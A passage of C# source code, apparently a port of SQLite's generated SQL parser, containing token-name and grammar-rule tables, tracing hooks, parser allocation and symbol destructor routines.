/* The user-supplied minor token value.  This\n** is the value of the token  */\n    };\n    //typedef struct yyStackEntry yyStackEntry;\n\n    /* The state of the parser is completely contained in an instance of\n    ** the following structure */\n    public class yyParser\n    {\n      public int yyidx;                    /* Index of top element in stack */\n#if YYTRACKMAXSTACKDEPTH\nint yyidxMax;                 /* Maximum value of yyidx */\n#endif\n      public int yyerrcnt;                 /* Shifts left before out of the error */\n      public Parse pParse;  // sqlite3ParserARG_SDECL                /* A place to hold %extra_argument */\n#if YYSTACKDEPTH//<=0\npublic int yystksz;                  /* Current side of the stack */\npublic yyStackEntry *yystack;        /* The parser's stack */\n#else\n      public yyStackEntry[] yystack = new yyStackEntry[YYSTACKDEPTH];  /* The parser's stack */\n#endif\n    };\n    //typedef struct yyParser yyParser;\n\n#if !NDEBUG\n    //#include <stdio.h>\n    static TextWriter yyTraceFILE = null;\n    static string yyTracePrompt = \"\";\n#endif // * NDEBUG */\n\n#if !NDEBUG\n    /*\n** Turn parser tracing on by giving a stream to which to write the trace\n** and a prompt to preface each trace message.  Tracing is turned off\n** by making either argument NULL\n**\n** Inputs:\n** <ul>\n** <li> A FILE* to which trace output should be written.\n**      If NULL, then tracing is turned off.\n** <li> A prefix string written at the beginning of every\n**      line of trace output.  If NULL, then tracing is\n**      turned off.\n** </ul>\n**\n** Outputs:\n** None.\n*/\n    static void sqlite3ParserTrace(TextWriter TraceFILE, string zTracePrompt)\n    {\n      yyTraceFILE = TraceFILE;\n      yyTracePrompt = zTracePrompt;\n      if (yyTraceFILE == null) yyTracePrompt = \"\";\n      else if (yyTracePrompt == \"\") yyTraceFILE = null;\n    }\n#endif // * NDEBUG */\n\n#if !NDEBUG\n    /* For tracing shifts, the names of all terminals and nonterminals\n** are required.  The following table supplies these names */\n    static string[] yyTokenName = {\n\"$\",             \"SEMI\",          \"EXPLAIN\",       \"QUERY\",\n\"PLAN\",          \"BEGIN\",         \"TRANSACTION\",   \"DEFERRED\",\n\"IMMEDIATE\",     \"EXCLUSIVE\",     \"COMMIT\",        \"END\",\n\"ROLLBACK\",      \"SAVEPOINT\",     \"RELEASE\",       \"TO\",\n\"TABLE\",         \"CREATE\",        \"IF\",            \"NOT\",\n\"EXISTS\",        \"TEMP\",          \"LP\",            \"RP\",\n\"AS\",            \"COMMA\",         \"ID\",            \"INDEXED\",\n\"ABORT\",         \"AFTER\",         \"ANALYZE\",       \"ASC\",\n\"ATTACH\",        \"BEFORE\",        \"BY\",            \"CASCADE\",\n\"CAST\",          \"COLUMNKW\",      \"CONFLICT\",      \"DATABASE\",\n\"DESC\",          \"DETACH\",        \"EACH\",          \"FAIL\",\n\"FOR\",           \"IGNORE\",        \"INITIALLY\",     \"INSTEAD\",\n\"LIKE_KW\",       \"MATCH\",         \"KEY\",           \"OF\",\n\"OFFSET\",        \"PRAGMA\",        \"RAISE\",         \"REPLACE\",\n\"RESTRICT\",      \"ROW\",           \"TRIGGER\",       \"VACUUM\",\n\"VIEW\",          \"VIRTUAL\",       \"REINDEX\",       \"RENAME\",\n\"CTIME_KW\",      \"ANY\",           \"OR\",            \"AND\",\n\"IS\",            \"BETWEEN\",       \"IN\",            \"ISNULL\",\n\"NOTNULL\",       \"NE\",            \"EQ\",            \"GT\",\n\"LE\",            \"LT\",            \"GE\",            \"ESCAPE\",\n\"BITAND\",        \"BITOR\",         \"LSHIFT\",        \"RSHIFT\",\n\"PLUS\",          \"MINUS\",         \"STAR\",          \"SLASH\",\n\"REM\",           \"CONCAT\",        \"COLLATE\",       \"UMINUS\",\n\"UPLUS\",         \"BITNOT\",        \"STRING\",        \"JOIN_KW\",\n\"CONSTRAINT\",    \"DEFAULT\",       \"NULL\",          \"PRIMARY\",\n\"UNIQUE\",        \"CHECK\",         \"REFERENCES\",    \"AUTOINCR\",\n\"ON\",            \"DELETE\",        \"UPDATE\",        \"INSERT\",\n\"SET\",           \"DEFERRABLE\",    \"FOREIGN\",       \"DROP\",\n\"UNION\",         \"ALL\",           \"EXCEPT\",        \"INTERSECT\",\n\"SELECT\",        \"DISTINCT\",      \"DOT\",           \"FROM\",\n\"JOIN\",          \"USING\",         \"ORDER\",         \"GROUP\",\n\"HAVING\",        \"LIMIT\",         \"WHERE\",         \"INTO\",\n\"VALUES\",        \"INTEGER\",       \"FLOAT\",         \"BLOB\",\n\"REGISTER\",      \"VARIABLE\",      \"CASE\",          \"WHEN\",\n\"THEN\",          \"ELSE\",          \"INDEX\",         \"ALTER\",\n\"ADD\",           \"error\",         \"input\",         \"cmdlist\",\n\"ecmd\",          \"explain\",       \"cmdx\",          \"cmd\",\n\"transtype\",     \"trans_opt\",     \"nm\",            \"savepoint_opt\",\n\"create_table\",  \"create_table_args\",  \"createkw\",      \"temp\",\n\"ifnotexists\",   \"dbnm\",          \"columnlist\",    \"conslist_opt\",\n\"select\",        \"column\",        \"columnid\",      \"type\",\n\"carglist\",      \"id\",            \"ids\",           \"typetoken\",\n\"typename\",      \"signed\",        \"plus_num\",      \"minus_num\",\n\"carg\",          \"ccons\",         \"term\",          \"expr\",\n\"onconf\",        \"sortorder\",     \"autoinc\",       \"idxlist_opt\",\n\"refargs\",       \"defer_subclause\",  \"refarg\",        \"refact\",\n\"init_deferred_pred_opt\",  \"conslist\",      \"tcons\",         \"idxlist\",\n\"defer_subclause_opt\",  \"orconf\",        \"resolvetype\",   \"raisetype\",\n\"ifexists\",      \"fullname\",      \"oneselect\",     \"multiselect_op\",\n\"distinct\",      \"selcollist\",    \"from\",          \"where_opt\",\n\"groupby_opt\",   \"having_opt\",    \"orderby_opt\",   \"limit_opt\",\n\"sclp\",          \"as\",            \"seltablist\",    \"stl_prefix\",\n\"joinop\",        \"indexed_opt\",   \"on_opt\",        \"using_opt\",\n\"joinop2\",       \"inscollist\",    \"sortlist\",      \"sortitem\",\n\"nexprlist\",     \"setlist\",       \"insert_cmd\",    \"inscollist_opt\",\n\"itemlist\",      \"exprlist\",      \"likeop\",        \"escape\",\n\"between_op\",    \"in_op\",         \"case_operand\",  \"case_exprlist\",\n\"case_else\",     \"uniqueflag\",    \"collate\",       \"nmnum\",\n\"plus_opt\",      \"number\",        \"trigger_decl\",  \"trigger_cmd_list\",\n\"trigger_time\",  \"trigger_event\",  \"foreach_clause\",  \"when_clause\",\n\"trigger_cmd\",   \"trnm\",          \"tridxby\",       \"database_kw_opt\",\n\"key_opt\",       \"add_column_fullname\",  \"kwcolumn_opt\",  \"create_vtab\", \n\"vtabarglist\",   \"vtabarg\",       \"vtabargtoken\",  \"lp\",          \n\"anylist\", };\n#endif // * NDEBUG */\n\n#if !NDEBUG\n    /* For tracing reduce actions, the names of all rules are required.\n*/\n    static string[] yyRuleName = {\n/*   0 */ \"input ::= cmdlist\",\n/*   1 */ \"cmdlist ::= cmdlist ecmd\",\n/*   2 */ \"cmdlist ::= ecmd\",\n/*   3 */ \"ecmd ::= SEMI\",\n/*   4 */ \"ecmd ::= explain cmdx SEMI\",\n/*   5 */ \"explain ::=\",\n/*   6 */ \"explain ::= EXPLAIN\",\n/*   7 */ \"explain ::= EXPLAIN QUERY PLAN\",\n/*   8 */ \"cmdx ::= cmd\",\n/*   9 */ \"cmd ::= BEGIN transtype trans_opt\",\n/*  10 */ \"trans_opt ::=\",\n/*  11 */ \"trans_opt ::= TRANSACTION\",\n/*  12 */ \"trans_opt ::= TRANSACTION nm\",\n/*  13 */ \"transtype ::=\",\n/*  14 */ \"transtype ::= DEFERRED\",\n/*  15 */ \"transtype ::= IMMEDIATE\",\n/*  16 */ \"transtype ::= EXCLUSIVE\",\n/*  17 */ \"cmd ::= COMMIT trans_opt\",\n/*  18 */ \"cmd ::= END trans_opt\",\n/*  19 */ \"cmd ::= ROLLBACK trans_opt\",\n/*  20 */ \"savepoint_opt ::= SAVEPOINT\",\n/*  21 */ \"savepoint_opt ::=\",\n/*  22 */ \"cmd ::= SAVEPOINT nm\",\n/*  23 */ \"cmd ::= RELEASE savepoint_opt nm\",\n/*  24 */ \"cmd ::= ROLLBACK trans_opt TO savepoint_opt nm\",\n/*  25 */ \"cmd ::= create_table create_table_args\",\n/*  26 */ \"create_table ::= createkw temp TABLE ifnotexists nm dbnm\",\n/*  27 */ \"createkw ::= CREATE\",\n/*  28 */ \"ifnotexists ::=\",\n/*  29 */ \"ifnotexists ::= IF NOT EXISTS\",\n/*  30 */ \"temp ::= TEMP\",\n/*  31 */ \"temp ::=\",\n/*  32 */ \"create_table_args ::= LP columnlist conslist_opt RP\",\n/*  33 */ \"create_table_args ::= AS select\",\n/*  34 */ \"columnlist ::= columnlist COMMA column\",\n/*  35 */ \"columnlist ::= column\",\n/*  36 */ \"column ::= columnid type carglist\",\n/*  37 */ \"columnid ::= nm\",\n/*  38 */ \"id ::= ID\",\n/*  39 */ \"id ::= INDEXED\",\n/*  40 */ \"ids ::= ID|STRING\",\n/*  41 */ \"nm ::= id\",\n/*  42 */ \"nm ::= STRING\",\n/*  43 */ \"nm ::= JOIN_KW\",\n/*  44 */ \"type ::=\",\n/*  45 */ \"type ::= typetoken\",\n/*  46 */ \"typetoken ::= typename\",\n/*  47 */ \"typetoken ::= typename LP signed RP\",\n/*  48 */ \"typetoken ::= typename LP signed COMMA signed RP\",\n/*  49 */ \"typename ::= ids\",\n/*  50 */ \"typename ::= typename ids\",\n/*  51 */ \"signed ::= plus_num\",\n/*  52 */ \"signed ::= minus_num\",\n/*  53 */ \"carglist ::= carglist carg\",\n/*  54 */ \"carglist ::=\",\n/*  55 */ \"carg ::= CONSTRAINT nm ccons\",\n/*  56 */ \"carg ::= ccons\",\n/*  57 */ \"ccons ::= DEFAULT term\",\n/*  58 */ \"ccons ::= DEFAULT LP expr RP\",\n/*  59 */ \"ccons ::= DEFAULT PLUS term\",\n/*  60 */ \"ccons ::= DEFAULT MINUS term\",\n/*  61 */ \"ccons ::= DEFAULT id\",\n/*  62 */ \"ccons ::= NULL onconf\",\n/*  63 */ \"ccons ::= NOT NULL onconf\",\n/*  64 */ \"ccons ::= PRIMARY KEY sortorder onconf autoinc\",\n/*  65 */ \"ccons ::= UNIQUE onconf\",\n/*  66 */ \"ccons ::= CHECK LP expr RP\",\n/*  67 */ \"ccons ::= REFERENCES nm idxlist_opt refargs\",\n/*  68 */ \"ccons ::= defer_subclause\",\n/*  69 */ \"ccons ::= COLLATE ids\",\n/*  70 */ \"autoinc ::=\",\n/*  71 */ \"autoinc ::= AUTOINCR\",\n/*  72 */ \"refargs ::=\",\n/*  73 */ \"refargs ::= refargs refarg\",\n/*  74 */ \"refarg ::= MATCH nm\",\n/*  75 */ \"refarg ::= ON DELETE refact\",\n/*  76 */ \"refarg ::= ON UPDATE refact\",\n/*  77 */ \"refarg ::= ON INSERT refact\",\n/*  78 */ \"refact ::= SET NULL\",\n/*  79 */ \"refact ::= SET DEFAULT\",\n/*  80 */ \"refact ::= CASCADE\",\n/*  81 */ \"refact ::= RESTRICT\",\n/*  82 */ \"defer_subclause ::= NOT DEFERRABLE init_deferred_pred_opt\",\n/*  83 */ \"defer_subclause ::= DEFERRABLE init_deferred_pred_opt\",\n/*  84 */ \"init_deferred_pred_opt ::=\",\n/*  85 */ \"init_deferred_pred_opt ::= INITIALLY DEFERRED\",\n/*  86 */ \"init_deferred_pred_opt ::= INITIALLY IMMEDIATE\",\n/*  87 */ \"conslist_opt ::=\",\n/*  88 */ \"conslist_opt ::= COMMA conslist\",\n/*  89 */ \"conslist ::= conslist COMMA tcons\",\n/*  90 */ \"conslist ::= conslist tcons\",\n/*  91 */ \"conslist ::= tcons\",\n/*  92 */ \"tcons ::= CONSTRAINT nm\",\n/*  93 */ \"tcons ::= PRIMARY KEY LP idxlist autoinc RP onconf\",\n/*  94 */ \"tcons ::= UNIQUE LP idxlist RP onconf\",\n/*  95 */ \"tcons ::= CHECK LP expr RP onconf\",\n/*  96 */ \"tcons ::= FOREIGN KEY LP idxlist RP REFERENCES nm idxlist_opt refargs defer_subclause_opt\",\n/*  97 */ \"defer_subclause_opt ::=\",\n/*  98 */ \"defer_subclause_opt ::= defer_subclause\",\n/*  99 */ \"onconf ::=\",\n/* 100 */ \"onconf ::= ON CONFLICT resolvetype\",\n/* 101 */ \"orconf ::=\",\n/* 102 */ \"orconf ::= OR resolvetype\",\n/* 103 */ \"resolvetype ::= raisetype\",\n/* 104 */ \"resolvetype ::= IGNORE\",\n/* 105 */ \"resolvetype ::= REPLACE\",\n/* 106 */ \"cmd ::= DROP TABLE ifexists fullname\",\n/* 107 */ \"ifexists ::= IF EXISTS\",\n/* 108 */ \"ifexists ::=\",\n/* 109 */ \"cmd ::= createkw temp VIEW ifnotexists nm dbnm AS select\",\n/* 110 */ \"cmd ::= DROP VIEW ifexists fullname\",\n/* 111 */ \"cmd ::= select\",\n/* 112 */ \"select ::= oneselect\",\n/* 113 */ \"select ::= select multiselect_op oneselect\",\n/* 114 */ \"multiselect_op ::= UNION\",\n/* 115 */ \"multiselect_op ::= UNION ALL\",\n/* 116 */ \"multiselect_op ::= EXCEPT|INTERSECT\",\n/* 117 */ \"oneselect ::= SELECT distinct selcollist from where_opt groupby_opt having_opt orderby_opt limit_opt\",\n/* 118 */ \"distinct ::= DISTINCT\",\n/* 119 */ \"distinct ::= ALL\",\n/* 120 */ \"distinct ::=\",\n/* 121 */ \"sclp ::= selcollist COMMA\",\n/* 122 */ \"sclp ::=\",\n/* 123 */ \"selcollist ::= sclp expr as\",\n/* 124 */ \"selcollist ::= sclp STAR\",\n/* 125 */ \"selcollist ::= sclp nm DOT STAR\",\n/* 126 */ \"as ::= AS nm\",\n/* 127 */ \"as ::= ids\",\n/* 128 */ \"as ::=\",\n/* 129 */ \"from ::=\",\n/* 130 */ \"from ::= FROM seltablist\",\n/* 131 */ \"stl_prefix ::= seltablist joinop\",\n/* 132 */ \"stl_prefix ::=\",\n/* 133 */ \"seltablist ::= stl_prefix nm dbnm as indexed_opt on_opt using_opt\",\n/* 134 */ \"seltablist ::= stl_prefix LP select RP as on_opt using_opt\",\n/* 135 */ \"seltablist ::= stl_prefix LP seltablist RP as on_opt using_opt\",\n/* 136 */ \"dbnm ::=\",\n/* 137 */ \"dbnm ::= DOT nm\",\n/* 138 */ \"fullname ::= nm dbnm\",\n/* 139 */ \"joinop ::= COMMA|JOIN\",\n/* 140 */ \"joinop ::= JOIN_KW JOIN\",\n/* 141 */ \"joinop ::= JOIN_KW nm JOIN\",\n/* 142 */ \"joinop ::= JOIN_KW nm nm JOIN\",\n/* 143 */ \"on_opt ::= ON expr\",\n/* 144 */ \"on_opt ::=\",\n/* 145 */ \"indexed_opt ::=\",\n/* 146 */ \"indexed_opt ::= INDEXED BY nm\",\n/* 147 */ \"indexed_opt ::= NOT INDEXED\",\n/* 148 */ \"using_opt ::= USING LP inscollist RP\",\n/* 149 */ \"using_opt ::=\",\n/* 150 */ \"orderby_opt ::=\",\n/* 151 */ \"orderby_opt ::= ORDER BY sortlist\",\n/* 152 */ \"sortlist ::= sortlist COMMA sortitem sortorder\",\n/* 153 */ \"sortlist ::= sortitem sortorder\",\n/* 154 */ \"sortitem ::= expr\",\n/* 155 */ \"sortorder ::= ASC\",\n/* 156 */ \"sortorder ::= DESC\",\n/* 157 */ \"sortorder ::=\",\n/* 158 */ \"groupby_opt ::=\",\n/* 159 */ \"groupby_opt ::= GROUP BY nexprlist\",\n/* 160 */ \"having_opt ::=\",\n/* 161 */ \"having_opt ::= HAVING expr\",\n/* 162 */ \"limit_opt ::=\",\n/* 163 */ \"limit_opt ::= LIMIT expr\",\n/* 164 */ \"limit_opt ::= LIMIT expr OFFSET expr\",\n/* 165 */ \"limit_opt ::= LIMIT expr COMMA expr\",\n/* 166 */ \"cmd ::= DELETE FROM fullname indexed_opt where_opt\",\n/* 167 */ \"where_opt ::=\",\n/* 168 */ \"where_opt ::= WHERE expr\",\n/* 169 */ \"cmd ::= UPDATE orconf fullname indexed_opt SET setlist where_opt\",\n/* 170 */ \"setlist ::= setlist COMMA nm EQ expr\",\n/* 171 */ \"setlist ::= nm EQ expr\",\n/* 172 */ \"cmd ::= insert_cmd INTO fullname inscollist_opt VALUES LP itemlist RP\",\n/* 173 */ \"cmd ::= insert_cmd INTO fullname inscollist_opt select\",\n/* 174 */ \"cmd ::= insert_cmd INTO fullname inscollist_opt DEFAULT VALUES\",\n/* 175 */ \"insert_cmd ::= INSERT orconf\",\n/* 176 */ \"insert_cmd ::= REPLACE\",\n/* 177 */ \"itemlist ::= itemlist COMMA expr\",\n/* 178 */ \"itemlist ::= expr\",\n/* 179 */ \"inscollist_opt ::=\",\n/* 180 */ \"inscollist_opt ::= LP inscollist RP\",\n/* 181 */ \"inscollist ::= inscollist COMMA nm\",\n/* 182 */ \"inscollist ::= nm\",\n/* 183 */ \"expr ::= term\",\n/* 184 */ \"expr ::= LP expr RP\",\n/* 185 */ \"term ::= NULL\",\n/* 186 */ \"expr ::= id\",\n/* 187 */ \"expr ::= JOIN_KW\",\n/* 188 */ \"expr ::= nm DOT nm\",\n/* 189 */ \"expr ::= nm DOT nm DOT nm\",\n/* 190 */ \"term ::= INTEGER|FLOAT|BLOB\",\n/* 191 */ \"term ::= STRING\",\n/* 192 */ \"expr ::= REGISTER\",\n/* 193 */ \"expr ::= VARIABLE\",\n/* 194 */ \"expr ::= expr COLLATE ids\",\n/* 195 */ \"expr ::= CAST LP expr AS typetoken RP\",\n/* 196 */ \"expr ::= ID LP distinct exprlist RP\",\n/* 197 */ \"expr ::= ID LP STAR RP\",\n/* 198 */ \"term ::= CTIME_KW\",\n/* 199 */ \"expr ::= expr AND expr\",\n/* 200 */ \"expr ::= expr OR expr\",\n/* 201 */ \"expr ::= expr LT|GT|GE|LE expr\",\n/* 202 */ \"expr ::= expr EQ|NE expr\",\n/* 203 */ \"expr ::= expr BITAND|BITOR|LSHIFT|RSHIFT expr\",\n/* 204 */ \"expr ::= expr PLUS|MINUS expr\",\n/* 205 */ \"expr ::= expr STAR|SLASH|REM expr\",\n/* 206 */ \"expr ::= expr CONCAT expr\",\n/* 207 */ \"likeop ::= LIKE_KW\",\n/* 208 */ \"likeop ::= NOT LIKE_KW\",\n/* 209 */ \"likeop ::= MATCH\",\n/* 210 */ \"likeop ::= NOT MATCH\",\n/* 211 */ \"escape ::= ESCAPE expr\",\n/* 212 */ \"escape ::=\",\n/* 213 */ \"expr ::= expr likeop expr escape\",\n/* 214 */ \"expr ::= expr ISNULL|NOTNULL\",\n/* 215 */ \"expr ::= expr IS NULL\",\n/* 216 */ \"expr ::= expr NOT NULL\",\n/* 217 */ \"expr ::= expr IS NOT NULL\",\n/* 218 */ \"expr ::= NOT expr\",\n/* 219 */ \"expr ::= BITNOT expr\",\n/* 220 */ \"expr ::= MINUS expr\",\n/* 221 */ \"expr ::= PLUS expr\",\n/* 222 */ \"between_op ::= BETWEEN\",\n/* 223 */ \"between_op ::= NOT BETWEEN\",\n/* 224 */ \"expr ::= expr between_op expr AND expr\",\n/* 225 */ \"in_op ::= IN\",\n/* 226 */ \"in_op ::= NOT IN\",\n/* 227 */ \"expr ::= expr in_op LP exprlist RP\",\n/* 228 */ \"expr ::= LP select RP\",\n/* 229 */ \"expr ::= expr in_op LP select RP\",\n/* 230 */ \"expr ::= expr in_op nm dbnm\",\n/* 231 */ \"expr ::= EXISTS LP select RP\",\n/* 232 */ \"expr ::= CASE case_operand case_exprlist case_else END\",\n/* 233 */ \"case_exprlist ::= case_exprlist WHEN expr THEN expr\",\n/* 234 */ \"case_exprlist ::= WHEN expr THEN expr\",\n/* 235 */ \"case_else ::= ELSE expr\",\n/* 236 */ \"case_else ::=\",\n/* 237 */ \"case_operand ::= expr\",\n/* 238 */ \"case_operand ::=\",\n/* 239 */ \"exprlist ::= nexprlist\",\n/* 240 */ \"exprlist ::=\",\n/* 241 */ \"nexprlist ::= nexprlist COMMA expr\",\n/* 242 */ \"nexprlist ::= expr\",\n/* 243 */ \"cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP\",\n/* 244 */ \"uniqueflag ::= UNIQUE\",\n/* 245 */ \"uniqueflag ::=\",\n/* 246 */ \"idxlist_opt ::=\",\n/* 247 */ \"idxlist_opt ::= LP idxlist RP\",\n/* 248 */ \"idxlist ::= idxlist COMMA nm collate sortorder\",\n/* 249 */ \"idxlist ::= nm collate sortorder\",\n/* 250 */ \"collate ::=\",\n/* 251 */ \"collate ::= COLLATE ids\",\n/* 252 */ \"cmd ::= DROP INDEX ifexists fullname\",\n/* 253 */ \"cmd ::= VACUUM\",\n/* 254 */ \"cmd ::= VACUUM nm\",\n/* 255 */ \"cmd ::= PRAGMA nm dbnm\",\n/* 256 */ \"cmd ::= PRAGMA nm dbnm EQ nmnum\",\n/* 257 */ \"cmd ::= PRAGMA nm dbnm LP nmnum RP\",\n/* 258 */ \"cmd ::= PRAGMA nm dbnm EQ minus_num\",\n/* 259 */ \"cmd ::= PRAGMA nm dbnm LP minus_num RP\",\n/* 260 */ \"nmnum ::= plus_num\",\n/* 261 */ \"nmnum ::= nm\",\n/* 262 */ \"nmnum ::= ON\",\n/* 263 */ \"nmnum ::= DELETE\",\n/* 264 */ \"nmnum ::= DEFAULT\",\n/* 265 */ \"plus_num ::= plus_opt number\",\n/* 266 */ \"minus_num ::= MINUS number\",\n/* 267 */ \"number ::= INTEGER|FLOAT\",\n/* 268 */ \"plus_opt ::= PLUS\",\n/* 269 */ \"plus_opt ::=\",\n/* 270 */ \"cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END\",\n/* 271 */ \"trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause\",\n/* 272 */ \"trigger_time ::= BEFORE\",\n/* 273 */ \"trigger_time ::= AFTER\",\n/* 274 */ \"trigger_time ::= INSTEAD OF\",\n/* 275 */ \"trigger_time ::=\",\n/* 276 */ \"trigger_event ::= DELETE|INSERT\",\n/* 277 */ \"trigger_event ::= UPDATE\",\n/* 278 */ \"trigger_event ::= UPDATE OF inscollist\",\n/* 279 */ \"foreach_clause ::=\",\n/* 280 */ \"foreach_clause ::= FOR EACH ROW\",\n/* 281 */ \"when_clause ::=\",\n/* 282 */ \"when_clause ::= WHEN expr\",\n/* 283 */ \"trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI\",\n/* 284 */ \"trigger_cmd_list ::= trigger_cmd SEMI\",\n/* 285 */ \"trnm ::= nm\",\n/* 286 */ \"trnm ::= nm DOT nm\",\n/* 287 */ \"tridxby ::=\",\n/* 288 */ \"tridxby ::= INDEXED BY nm\",\n/* 289 */ \"tridxby ::= NOT INDEXED\",\n/* 290 */ \"trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt\",\n/* 291 */ \"trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP\",\n/* 292 */ \"trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select\",\n/* 293 */ \"trigger_cmd ::= DELETE FROM trnm tridxby where_opt\",\n/* 294 */ \"trigger_cmd ::= select\",\n/* 295 */ \"expr ::= RAISE LP IGNORE RP\",\n/* 296 */ \"expr ::= RAISE LP raisetype COMMA nm RP\",\n/* 297 */ \"raisetype ::= ROLLBACK\",\n/* 298 */ \"raisetype ::= ABORT\",\n/* 299 */ \"raisetype ::= FAIL\",\n/* 300 */ \"cmd ::= DROP TRIGGER ifexists fullname\",\n/* 301 */ \"cmd ::= ATTACH database_kw_opt expr AS expr key_opt\",\n/* 302 */ \"cmd ::= DETACH database_kw_opt expr\",\n/* 303 */ \"key_opt ::=\",\n/* 304 */ \"key_opt ::= KEY expr\",\n/* 305 */ \"database_kw_opt ::= DATABASE\",\n/* 306 */ \"database_kw_opt ::=\",\n/* 307 */ \"cmd ::= REINDEX\",\n/* 308 */ \"cmd ::= REINDEX nm dbnm\",\n/* 309 */ \"cmd ::= ANALYZE\",\n/* 310 */ \"cmd ::= ANALYZE nm dbnm\",\n/* 311 */ \"cmd ::= ALTER TABLE fullname RENAME TO nm\",\n/* 312 */ \"cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column\",\n/* 313 */ \"add_column_fullname ::= fullname\",\n/* 314 */ \"kwcolumn_opt ::=\",\n/* 315 */ \"kwcolumn_opt ::= COLUMNKW\",\n/* 316 */ \"cmd ::= create_vtab\",\n/* 317 */ \"cmd ::= create_vtab LP vtabarglist RP\",\n/* 318 */ \"create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm\",\n/* 319 */ \"vtabarglist ::= vtabarg\",\n/* 320 */ \"vtabarglist ::= vtabarglist COMMA vtabarg\",\n/* 321 */ \"vtabarg ::=\",\n/* 322 */ \"vtabarg ::= vtabarg vtabargtoken\",\n/* 323 */ \"vtabargtoken ::= ANY\",\n/* 324 */ \"vtabargtoken ::= lp anylist RP\",\n/* 325 */ \"lp ::= LP\",\n/* 326 */ \"anylist ::=\",\n/* 327 */ \"anylist ::= anylist LP anylist RP\",\n/* 328 */ \"anylist ::= anylist ANY\",\n};\n#endif // * NDEBUG */\n\n\n#if YYSTACKDEPTH//<=0\n/*\n** Try to increase the size of the parser stack.\n*/\nstatic void yyGrowStack(yyParser p){\nint newSize;\n//yyStackEntry pNew;\n\nnewSize = p.yystksz*2 + 100;\n//pNew = realloc(p.yystack, newSize*sizeof(pNew[0]));\n//if( pNew !=null){\np.yystack = Array.Resize(p.yystack,newSize); //pNew;\np.yystksz = newSize;\n#if !NDEBUG\nif( yyTraceFILE ){\nfprintf(yyTraceFILE,\"%sStack grows to %d entries!\\n\",\nyyTracePrompt, p.yystksz);\n}\n#endif\n//}\n}\n#endif\n\n    /*\n** This function allocates a new parser.\n** The only argument is a pointer to a function which works like\n** malloc.\n**\n** Inputs:\n** A pointer to the function used to allocate memory.\n**\n** Outputs:\n** A pointer to a parser.  This pointer is used in subsequent calls\n** to sqlite3Parser and sqlite3ParserFree.\n*/\n    static yyParser sqlite3ParserAlloc()\n    {//void *(*mallocProc)(size_t)){\n      yyParser pParser = new yyParser();\n      //pParser = (yyParser*)(*mallocProc)( (size_t)yyParser.Length );\n      if (pParser != null)\n      {\n        pParser.yyidx = -1;\n#if YYTRACKMAXSTACKDEPTH\npParser.yyidxMax=0;\n#endif\n\n#if YYSTACKDEPTH//<=0\npParser.yystack = NULL;\npParser.yystksz = 0;\nyyGrowStack(pParser);\n#endif\n      }\n      return pParser;\n    }\n\n    /* The following function deletes the value associated with a\n    ** symbol.  The symbol can be either a terminal or nonterminal.\n    ** \"yymajor\" is the symbol code, and \"yypminor\" is a pointer to\n    ** the value.\n    */\n    static void yy_destructor(\n    yyParser yypParser,    /* The parser */\n    YYCODETYPE yymajor,    /* Type code for object to destroy */\n    YYMINORTYPE yypminor   /* The object to be destroyed */\n    )\n    {\n      Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH;\n      switch (yymajor)\n      {\n        /* Here is inserted the actions which take place when a\n        ** terminal or non-terminal is destroyed.  This can happen\n        ** when the symbol is popped from the stack during a\n        ** reduce or during error processing or when a parser is\n        ** being destroyed before it is finished parsing.\n        **\n        ** Note: during a reduce, the only symbols destroyed are those\n        ** which appear on the RHS of the rule, but which are not used\n        ** inside the C code.\n        */\n        case 160: /* select */\n        case 194: /* oneselect */\n          {\n            //#line 404 \"parse.y\"\n            sqlite3SelectDelete(pParse.db, ref (yypminor.yy3));\n            //#line 1373 \"parse.c\"\n          }\n          break;\n        case 174: /* term */\n        case 175: /* expr */\n        case 223: /* escape */\n          {\n            //#line 721 \"parse.y\"\n            sqlite3ExprDelete(pParse.db, ref (yypminor.yy346).pExpr);\n            //#line 1382 \"parse.c\"\n          }\n          break;\n        case 179: /* idxlist_opt */\n        case 187: /* idxlist */\n        case 197: /* selcollist */\n        case 200: /* groupby_opt */\n        case 202: /* orderby_opt */\n        case 204: /* sclp */\n        case 214: /* sortlist */\n        case 216: /* nexprlist */\n        case 217: /* setlist */\n        case 220: /* itemlist */\n        case 221: /* exprlist */\n        case 227: /* case_exprlist */\n          {\n            //#line 1062 \"parse.y\"\n            sqlite3ExprListDelete(pParse.db, ref  (yypminor.yy14));\n            //#line 1400 \"parse.c\"\n          }\n          break;\n        case 193: /* fullname */\n        case 198: /* from */\n        case 206: /* seltablist */\n        case 207: /* stl_prefix */\n          {\n            //#line 535 \"parse.y\"\n            sqlite3SrcListDelete(pParse.db, ref  (yypminor.yy65));\n            //#line 1410 \"parse.c\"\n          }\n          break;\n        case 199: /* where_opt */\n        case 201: /* having_opt */\n        case 210: /* on_opt */\n        case 215: /* sortitem */\n        case 226: /* case_operand */\n        case 228: /* case_else */\n        case 239: /* when_clause */\n        case 242: /* key_opt */\n          {\n            //#line 645 \"parse.y\"\n            sqlite3ExprDelete(pParse.db, ref (yypminor.yy132));\n            //#line 1424 \"parse.c\"\n          }\n          break;\n        case 211: /* using_opt */\n        case 213: /* inscollist */\n        case 219: /* inscollist_opt */\n          {\n            //#line 567 \"parse.y\"\n            sqlite3IdListDelete(pParse.db, ref (yypminor.yy408));\n            //#line 1433 \"parse.c\"\n          }\n          break;\n        case 235: /* trigger_cmd_list */\n        case 240: /* trigger_cmd */\n          {\n            //#line 1169 \"parse.y\"\n            sqlite3DeleteTriggerStep(pParse.db, ref (yypminor.yy473));\n            //#line 1441 \"parse.c\"\n          }\n          break;\n        case 237: /* trigger_event */\n          {\n            //#line 1155 \"parse.y\"\n            sqlite3IdListDelete(pParse.db, ref (yypminor.yy378).b);\n            //#line 1448 \"parse.c\"\n          }\n          break;\n        default: break;   /* If no destructor action specified: do nothing */\n      }\n    }\n\n    /*\n    ** Pop the parser's stack once.\n    **\n    ** If there is a destructor routine associated with the token which\n    ** is popped from the stack, then call it.\n    **\n    ** Return the major token number for the symbol popped.\n    